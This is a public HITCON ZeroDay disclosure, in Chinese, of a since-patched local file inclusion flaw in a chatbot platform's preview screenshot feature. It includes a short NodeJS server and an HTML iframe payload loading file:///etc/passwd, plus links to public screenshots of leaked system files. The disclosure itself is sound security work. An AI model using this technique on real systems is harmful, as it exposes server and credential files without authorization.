Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00923
- Vendor: 沛星互動科技股份有限公司
- Title: 沛星互動科技股份有限公司 LFI,可讀取 linux server 上的檔案
- Introduction: LFI,可讀取 linux server 上的檔案
處理狀態
目前狀態
公開
Last Update : 2025/10/06
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/08/06 21:05:51 : 新提交 (由 yusheng 更新此狀態)
- 2025/08/09 21:27:21 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/13 12:40:02 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/13 12:40:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/13 12:40:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/13 13:06:37 : 修補中 (由 組織帳號 更新此狀態)
- 2025/10/01 14:21:00 : 已修補 (由 組織帳號 更新此狀態)
- 2025/10/06 03:00:29 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00923
- 通報者:cat1528985 (yusheng)
- 風險:高
- 類型:本地檔案引入 (Local File Inclusion, LFI)
參考資料
攻擊者可經由該漏洞取得後端系統檔案及網站程式原始碼等敏感資料。
漏洞說明: OWASP - Testing for Local File Inclusion
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
Wikepedia 漏洞說明:
https://en.wikipedia.org/wiki/File_inclusion_vulnerability
OWASP Top 10 2007 - Malicious File Execution
https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution
漏洞說明: OWASP - Testing for Local File Inclusion
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
Wikepedia 漏洞說明:
https://en.wikipedia.org/wiki/File_inclusion_vulnerability
OWASP Top 10 2007 - Malicious File Execution
https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
/etc/os-release:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/95508a5ba19af38a9b92759de83c9f90fb0fafbb.png
/etc/passwd:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/0f8caef8e9f80a06c5c372fb91d5c4d41d765dca.png
/etc/hosts:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/a012191b51dc575be095b2febcec1feb317a2532.png
/etc/resolv.conf:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/30a9e4320f4a1a36d415839f9736494bc6c3eb10.png
/etc/group:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/67f32e41eaec2142967281ac86b469b161b95e40.png
/etc/shells:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/6dfabb0f2b2aec3b26095eec09ff2f0907ce5ddb.png
/etc/passwd:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/0f8caef8e9f80a06c5c372fb91d5c4d41d765dca.png
/etc/hosts:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/a012191b51dc575be095b2febcec1feb317a2532.png
/etc/resolv.conf:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/30a9e4320f4a1a36d415839f9736494bc6c3eb10.png
/etc/group:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/67f32e41eaec2142967281ac86b469b161b95e40.png
/etc/shells:https://botbonnie-asset-prod.s3.ap-northeast-1.amazonaws.com/screenshot/undefined/6dfabb0f2b2aec3b26095eec09ff2f0907ce5ddb.png
敘述
前言
承接 ZD-2025-00468,這次針對同一個功能進一步測試
漏洞的種類
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
https://cwe.mitre.org/data/definitions/200.html
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
https://cwe.mitre.org/data/definitions/829.html
重現漏洞方式
- 免費註冊 https://console.botbonnie.com/
- 免費建立一個聊天機器人
- 進到 設定 > 機器人設定 > WebChat
- 經過 ZD-2025-00468 之後,目前 "預覽聊天按鈕" 功能,只能輸入 https:// 開頭的網址,所以我們需要自己創建一個惡意的 https server
- 免費註冊 ngrok,它可以把本機的 http://localhost:5000 映射到 https://some-random-id.ngrok-free.app,無須部署、無須設定憑證,可透過外網直接連線,用來測試非常方便
- 寫一個簡單的 NodeJS http server(重點只是要啟一個 http server => 回傳 HTML 內容,用什麼語言,甚至是 vscode 的 live server 都行)
import { readFileSync } from "fs"; import { createServer } from "http"; import { join } from "path"; createServer().listen(5000).on('request', function requestListener (req, res) { console.log({ url: req.url, method: req.method }); res.end(readFileSync(join(__dirname, "index.html"))); }) - 寫一個簡單的 index.html,透過 iframe 載入 file:///etc/passwd
<html> <head> </head> <body> <iframe src="file:///etc/passwd" style="width: 100%; height: 100vh;"></iframe> </body> </html> - 終端機輸入 ngrok http http://localhost:5000
- 回到聊天機器人的 "預覽聊天按鈕",輸入 ngrok forwarding 的網址 https://some-random-id.ngrok-free.app,就可以看到 /etc/passwd 成功被截圖
- 截圖的照片是存在 S3,並且可公開訪問
影響
- linux server 上的機密檔案被讀取
修補建議
正常的瀏覽器,都會限制載入 file:// 協議的檔案,例如以下都會被瀏覽器的安全機制阻擋
```
fetch("file:///etc/passwd")
<iframe src="file:///etc/passwd"></iframe>
```
但 playwright 或 puppeteer 開啟的 Headless Browser 可能有不同的設定 => 應該也能夠阻擋載入 file:// 協議的檔案
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。